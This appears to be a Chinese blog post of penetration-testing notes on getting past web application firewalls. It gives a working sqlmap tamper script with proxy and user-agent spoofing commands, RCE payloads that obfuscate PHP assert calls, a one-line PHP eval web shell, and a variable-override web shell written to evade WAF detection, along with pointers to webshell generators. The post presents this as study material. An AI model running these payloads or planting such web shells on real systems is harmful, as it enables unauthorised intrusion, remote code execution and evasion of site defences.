Web安全-渗透测试-waf绕过02

waf绕过

image

参考

漏洞发现

使用awvs,xray,appacan等综合漏洞扫描工具,发现漏洞

tpscan,wpscan,st2scan等单点漏洞扫描工具,发现漏洞

触发waf,可使用延时,代理池,白名单,模拟用户等绕过方法绕过,具体方法看上篇

awvs下载

awvs安装(kali)

参考1

漏洞利用

SQL注入

  • 手工注入

不需要考虑CC防护,速度慢

  • 工具注入

sqlmap 速度很快,会触发CC防御
sql语句绕过脚本

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""


from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload,**kwargs):
    retVal =""
    if payload:
        payload = payload.replace("union","%23a%0aunion")
        payload = payload.replace("select","/*!4457select*/")
        payload = payload.replace("%20","%23a%0a")
        payload = payload.replace(" ","%23a%0a")
        payload = payload.replace("database()","database%23a%0a()")
    return payload


python sqlmap.py -u "注入目标" --proxy="代理地址:代理端口" --tamper="waf-dog.py"
如:
python sqlmap.py -u "http://test.xiaodi8.com/sqlilabs/Less-2/?id=1" --proxy="http:tps123.kdlapi.com:15818" --tamper="waf-dog.py"
因为waf会识别工具,所以还需要修改user-agent

python sqlmap.py -u "注入目标" --proxy="代理地址:代理端口" --tamper="waf-dog.py" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"
也可以使用sqlmap的代理随机设置
python sqlmap.py -u "注入目标" --proxy="代理地址:代理端口 --tamper="waf-dog.py" --random-agent

  • proxy:代理绕过传cc

  • tamper:注入规则

  • user-agent:修改ua,防止匹配到工具的指纹!

文件上传

换行截断

RCE

各种绕过姿势

  • 可逆算法绕过

hex,base64

  • 替换绕过

txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);&submit=%E6%8F%90%E4%BA%A4ce
没有过滤assert

  • 拼接+替换绕过

txt=$X='asse';$xx='rt';$xxx=$x.$xx;$y=str_replace('x','','pxhpxinxfo()');$xxx($y);&submit=%E6%8F%90%E4%BA%A4ce
过滤assert

  • 更改传参方式

GET,POST,REQUEST

参考2

权限控制

一句话木马

<?php@eval($_POST['password']) ?>

  • @再php中含义为后面如果执行错误不会报错

  • eval()函数表示括号里的语句全做代码执行

  • $_POST[‘password’]表示从页面中以post方式获取变量password的值。

菜刀、蚂剑、冰蝎工具的基本原理

把一些具体执行语句集成化(各种各样在功能语句都帮你写好了),你直接连接执行就可

菜刀,蚁剑,冰蝎优缺点

  • 菜刀:未更新状态,无插件,单向加密传输

  • 蚁剑:更新状态,有插件,拓展性强,单向加密传输

  • 冰蝎:更新状态,未知插件,偏向于后渗透,双向加密传输

加密流程

image

绕过waf获取权限

  • 变量覆盖
<?php
$a = $_GET['x'];
$$a = $_GET['y'];
$b($_POST['z']);

//?x=b&y=assert
//$a = b
//$$a ->$b 变量引用
//$b= assert
//$b($_POST['z']);--->assert($_POST['z'])

?>
  • 加密混淆

脚本加密

enphp源码下载

在线加密 在线

  • 异或生成

webshell-venom-master工具,直接运行程序,即可生成webshell

webshell-venom下载

参考3

声明:本文只供参考学习,如有误导请纠正

posted @ 2023-07-01 13:05  蔚蓝WW  阅读(179)  评论(0编辑  收藏  举报